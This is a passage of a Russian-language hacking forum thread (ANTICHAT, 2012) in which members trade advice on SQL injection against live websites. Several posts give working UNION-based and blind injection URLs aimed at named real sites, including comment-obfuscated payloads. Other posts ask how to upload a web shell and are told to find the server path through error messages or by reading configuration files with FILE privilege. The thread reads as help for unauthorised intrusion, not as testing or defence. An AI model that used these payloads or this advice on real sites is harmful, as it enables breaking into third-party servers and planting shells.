HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.02.2012, 19:43
winstrool
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами: 10095779

Репутация: 137
По умолчанию

Цитата:
Сообщение от t0ma5  
qaz
По поводу
"""
http://www.mciti.ru/box.php?id=8+limit+0,0+union+select+1,table_name,3 ,4,5,6,7,8,9,10,11+from+information_schema.tables--+
чего ошибку выдаёт вместо вывода?"""
SELECT command denied to user 'gb_mciti'@'10.0.2.4' for table 'tables'
Доступ запрещен, фильтрации там нет.
Потому что там нет information_schema по этому и ошибка
 
Ответить с цитированием

  #2  
Старый 24.02.2012, 20:57
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
С нами: 8625634

Репутация: 0
По умолчанию

Цитата:
Сообщение от winstrool  
Потому что там нет information_schema по этому и ошибка
А куда-же она делась, не подскажите?

Наверное её админы удалили, да?
 
Ответить с цитированием

  #3  
Старый 24.02.2012, 22:31
Revi
Познающий
Регистрация: 17.12.2011
Сообщений: 48
С нами: 7581206

Репутация: 0
По умолчанию

Можно ли залить шелл незнаю полного пути?
 
Ответить с цитированием

  #4  
Старый 24.02.2012, 22:47
d1v
Новичок
Регистрация: 21.02.2009
Сообщений: 3
С нами: 9061916

Репутация: 0
По умолчанию

Цитата:
Сообщение от Revi  
Можно ли залить шелл незнаю полного пути?
нельзя
 
Ответить с цитированием

  #5  
Старый 24.02.2012, 22:48
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

Цитата:
Сообщение от Revi  
Можно ли залить шелл незнаю полного пути?
нет....
 
Ответить с цитированием

  #6  
Старый 24.02.2012, 22:54
Revi
Познающий
Регистрация: 17.12.2011
Сообщений: 48
С нами: 7581206

Репутация: 0
По умолчанию

можно ли узнать путь через иньку?
 
Ответить с цитированием

  #7  
Старый 24.02.2012, 23:01
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

ну если в ошибке путь..но он не всегда соответсвует реальности..и еще если у тебя права файл_прив, то прочитай файлы конфигурации на сервере.. найдешь там и путь..
 
Ответить с цитированием

  #8  
Старый 24.02.2012, 23:15
er9j6@
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
С нами: 7712246

Репутация: 23
По умолчанию

Нашел на одном сайте блинд такого вида

http://www.site.com?id=8'+and+ascii(substring((database() ),7,1))=118+and+'x'='x

пятая ветка мускула

не могу подобрать прогу для ее раскрутки

если можно дайте ссылку , на скрипт и прогу которой можно ее раскрутить
 
Ответить с цитированием

  #9  
Старый 25.02.2012, 00:34
smirk
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами: 7725206

Репутация: 26
По умолчанию

http://www.biostar-russia.ru/app/ru/vga/series.php?S_ID=-55+/*!union*/+/*!select*/+1+--+

не получается подобрать кол-во колонок..

кроме еррор-базе никак?
 
Ответить с цитированием

  #10  
Старый 25.02.2012, 00:46
Revi
Познающий
Регистрация: 17.12.2011
Сообщений: 48
С нами: 7581206

Репутация: 0
По умолчанию

ммм

Цитата:
Сообщение от Gorev  
ну если в ошибке путь..но он не всегда соответсвует реальности..и еще если у тебя права файл_прив, то прочитай файлы конфигурации на сервере.. найдешь там и путь..
можно ссылку именно на то что ты сказал
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.